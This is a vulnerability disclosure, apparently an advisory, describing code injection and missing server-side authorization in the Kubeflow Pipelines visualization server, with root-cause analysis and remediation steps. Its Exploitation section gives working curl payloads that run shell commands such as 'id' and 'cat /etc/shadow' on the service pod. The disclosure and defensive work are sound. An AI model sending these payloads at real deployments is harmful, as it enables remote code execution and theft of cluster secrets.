Arbitrary Code Execution via Visualization API in Kubeflow Pipelines

Target

Repository: kubeflow/pipelines Component: Visualization Server (Python backend) + API Server (Go gRPC gateway) Severity: CRITICAL (CVSS ~9.8) CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)

Summary

The Kubeflow Pipelines visualization API allows any authenticated user (or any user in single-user mode) to execute arbitrary Python code on the visualization service pod via two independent attack vectors:

Direct code execution via CUSTOM visualization type -- The arguments.code field is executed directly in a Jupyter kernel with zero sanitization.
Python code injection via the source parameter -- The source string is interpolated into a Python code cell using unsanitized str.format(), allowing breakout from the string literal.

Neither vector requires the ALLOW_CUSTOM_VISUALIZATIONS flag to be enabled, as this flag only controls frontend UI display and is NOT enforced server-side.

Vulnerable Code

Vector 1: Direct Code Execution via Custom Visualization Type

File: backend/src/apiserver/visualization/server.py, lines 109-111

if visualization_type == "custom":
    code = arguments.get("code", [])
    nb.cells.append(exporter.create_cell_from_custom_code(code))

File: backend/src/apiserver/visualization/exporter.py, lines 76-88

def create_cell_from_custom_code(code: list) -> NotebookNode:
    cell = new_code_cell("\n".join(code))
    cell.get("metadata")["hide_logging"] = False
    return cell

File: backend/src/apiserver/visualization/exporter.py, line 162

self.ep.preprocess(nb, {"metadata": {"path": Path.cwd()}}, self.km)

The ExecutePreprocessor.preprocess() call executes all notebook cells in a live Jupyter kernel. The code list from the user's arguments JSON is joined with newlines and executed as-is.

Vector 2: Python Code Injection via Source Parameter

File: backend/src/apiserver/visualization/server.py, line 108

nb.cells.append(new_code_cell('source = "{}"'.format(source)))

The source parameter is interpolated directly into a Python code string using str.format() without escaping. This allows breaking out of the string literal to inject arbitrary Python code.

Missing Server-Side Authorization

File: backend/src/apiserver/server/visualization_server.go, lines 48-69

func (s *VisualizationServer) CreateVisualizationV1(ctx context.Context, request *go_client.CreateVisualizationRequest) (*go_client.Visualization, error) {
    if err := s.validateCreateVisualizationRequest(request); err != nil {
        return nil, err
    }
    // Authorization ONLY checked in multi-user mode AND only when namespace is non-empty
    if common.IsMultiUserMode() && len(request.Namespace) > 0 {
        // ... RBAC check ...
    }
    // Falls through to execute visualization with NO auth check in:
    // 1. Single-user mode (default deployment)
    // 2. Multi-user mode with empty namespace
    body, err := s.generateVisualizationFromRequest(request)

The ALLOW_CUSTOM_VISUALIZATIONS environment variable (default: false) is only checked by the frontend UI to decide whether to show the "Custom" option in the dropdown. The backend API does NOT enforce it.

Exploitation

Vector 1: RCE via Custom Visualization (any user, single-user mode)

# Direct API call to the KFP API server
curl -X POST "http://<KFP_HOST>/apis/v1beta1/visualizations/" \
  -H "Content-Type: application/json" \
  -d '{
    "visualization": {
      "type": "CUSTOM",
      "source": "",
      "arguments": "{\"code\": [\"import subprocess\", \"result = subprocess.check_output([\\\"id\\\"])\", \"print(result.decode())\"]}"
    }
  }'

This executes id (or any arbitrary command) on the visualization service pod and returns the output in the HTML response.

Vector 2: RCE via Source Injection (works even for non-CUSTOM types)

curl -X POST "http://<KFP_HOST>/apis/v1beta1/visualizations/" \
  -H "Content-Type: application/json" \
  -d '{
    "visualization": {
      "type": "TABLE",
      "source": "\"; __import__(\"os\").system(\"id\"); x=\"",
      "arguments": "{}"
    }
  }'

The Python code cell becomes:

source = ""; __import__("os").system("id"); x=""

Vector 3: Direct access to Python visualization server (network-adjacent)

The Python visualization server on port 8888 has NO authentication at all:

# Direct POST to the visualization service (within the k8s cluster)
curl -X POST "http://ml-pipeline-visualizationserver:8888/" \
  -d "type=custom&arguments={\"code\":[\"import os\",\"os.system('cat /etc/shadow')\"]}"

Impact

Remote Code Execution on the visualization service pod
In single-user mode (default), no authentication is required to access the API
In multi-user mode, the authorization check can be bypassed by sending an empty namespace
The ALLOW_CUSTOM_VISUALIZATIONS=false setting provides no protection as it is only a frontend cosmetic flag
Can be used to:
- Read secrets and service account tokens from the pod
- Pivot to other services within the Kubernetes cluster
- Access artifact storage credentials
- Potentially escalate privileges via the pod's service account

Root Cause

The visualization server was designed to execute arbitrary notebook code by design (for the "custom" visualization feature), but this capability was left accessible through the API even when the UI hides it.
The source parameter is unsafely interpolated into executable Python code.
The ALLOW_CUSTOM_VISUALIZATIONS flag is a frontend-only UI toggle with no server-side enforcement.
Authorization in single-user mode is entirely absent.

Remediation

Enforce ALLOW_CUSTOM_VISUALIZATIONS server-side in visualization_server.go by rejecting CUSTOM type requests when the flag is false.
Sanitize the source parameter in server.py using repr() instead of str.format():
```
nb.cells.append(new_code_cell('source = {}'.format(repr(source))))
```
Add authorization checks for all visualization requests, not just multi-user mode with non-empty namespace.
Sandbox the Jupyter kernel execution environment or consider removing the custom code execution feature entirely.
Add network policies to restrict access to the visualization server pod.

Affected Versions

All versions of Kubeflow Pipelines that include the visualization server component. The vulnerability exists in the current main branch as of March 2026.

Files

backend/src/apiserver/visualization/server.py (lines 108-114) -- Code injection and custom code execution
backend/src/apiserver/visualization/exporter.py (lines 76-88, 162) -- Notebook code execution
backend/src/apiserver/server/visualization_server.go (lines 48-69) -- Missing authorization enforcement
backend/api/v1beta1/visualization.proto (line 84) -- CUSTOM type definition in API
frontend/server/configs.ts (line 85) -- ALLOW_CUSTOM_VISUALIZATIONS default false (frontend-only)